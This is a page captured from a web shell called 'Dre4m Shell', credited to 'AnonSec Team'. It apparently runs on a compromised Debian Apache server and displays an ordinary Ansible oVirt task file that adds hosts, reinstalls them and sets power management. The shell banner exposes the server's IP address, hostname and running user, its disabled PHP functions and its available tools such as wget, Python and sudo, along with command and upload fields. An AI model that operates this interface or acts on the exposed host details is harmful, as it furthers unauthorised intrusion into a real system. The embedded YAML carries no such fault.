Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.222.167.85
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/ovirt/ovirt/roles/infra/roles/hosts/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/ovirt/ovirt/roles/infra/roles/hosts/tasks/main.yml
---
- name: Get hosts
  ovirt_host_info:
    auth: "{{ ovirt_auth }}"
    pattern: "{{ ovirt_infra_hosts | map(attribute='name') | map('regex_replace', '(.*)', 'name=\\1') | list | join(' or ') }} status=installfailed"
  register: host_info
  when: ovirt_infra_hosts | length > 0
  tags:
    - hosts
    - reinstall

- name: Reinstall hosts
  ovirt_host:
    auth: "{{ ovirt_auth }}"
    state: reinstalled
    name: "{{ item.name }}"
    public_key: "{{ item.password is undefined }}"
    password: "{{ item.password | default(omit) }}"
  with_items:
    - "{{ host_info.ovirt_hosts | default([]) }}"
  loop_control:
    label: "{{ item.name }}"
  tags:
    - hosts
    - reinstall

- name: Add hosts
  ovirt_host:
    auth: "{{ ovirt_auth }}"
    state: "{{ item.state | default(omit) }}"
    name: "{{ item.name }}"
    address: "{{ item.address | default(omit) }}"
    cluster: "{{ item.cluster }}"
    password: "{{ item.password | default(omit) }}"
    public_key: "{{ item.public_key | default(omit) }}"
    override_iptables: true
    timeout: "{{ item.timeout | default(ovirt_hosts_add_timeout) }}"
    poll_interval: "{{ item.poll_interval | default(20) }}"
    hosted_engine: "{{ item.hosted_engine | default(omit) }}"
    reboot_after_installation: "{{ item.reboot_after_installation | default(omit) }}"
    reboot_after_upgrade: "{{ item.reboot_after_upgrade | default(omit) }}"
  with_items: "{{ ovirt_infra_hosts }}"
  loop_control:
    label: "{{ item.name }}"
  async: "{{ ovirt_hosts_max_timeout }}"
  poll: 0
  register: add_hosts
  tags:
    - hosts

- name: Wait for hosts to be added
  ansible.builtin.async_status: "jid={{ item.ansible_job_id }}"
  register: job_result
  with_items:
    - "{{ add_hosts.results | ovirt.ovirt.removesensitivevmdata }}"
  loop_control:
    label: "{{ item.item.name }}"
  tags:
    - hosts
  ignore_errors: true
  until: job_result.finished
  retries: "{{ ovirt_hosts_max_timeout // 20 }}"
  delay: 20

- name: Fail the play with unexpected error
  ansible.builtin.fail:
    msg: The host deploy failed with message '{{ item["exception"] }}'.
  when: item.failed and "the following networks are missing" not in item["exception"]
  with_items:
    - "{{ job_result.results }}"

- name: Set Power Management
  ovirt_host_pm:
    auth: "{{ ovirt_auth }}"
    address: "{{ item.power_management.address | default(omit) }}"
    state: "{{ item.power_management.state | default(omit) }}"
    username: "{{ item.power_management.username | default(omit) }}"
    password: "{{ item.power_management.password | default(omit) }}"
    type: "{{ item.power_management.type | default(omit) }}"
    options: "{{ item.power_management.options | default(omit) }}"
    port: "{{ item.power_management.port | default(omit) }}"
    name: "{{ item.name }}"
  when: item.power_management is defined and not (item.state is defined and item.state == 'absent')
  with_items: "{{ ovirt_infra_hosts }}"
  loop_control:
    label: "{{ item.name }}"
  tags:
    - hosts

Anon7 - 2022
AnonSec Team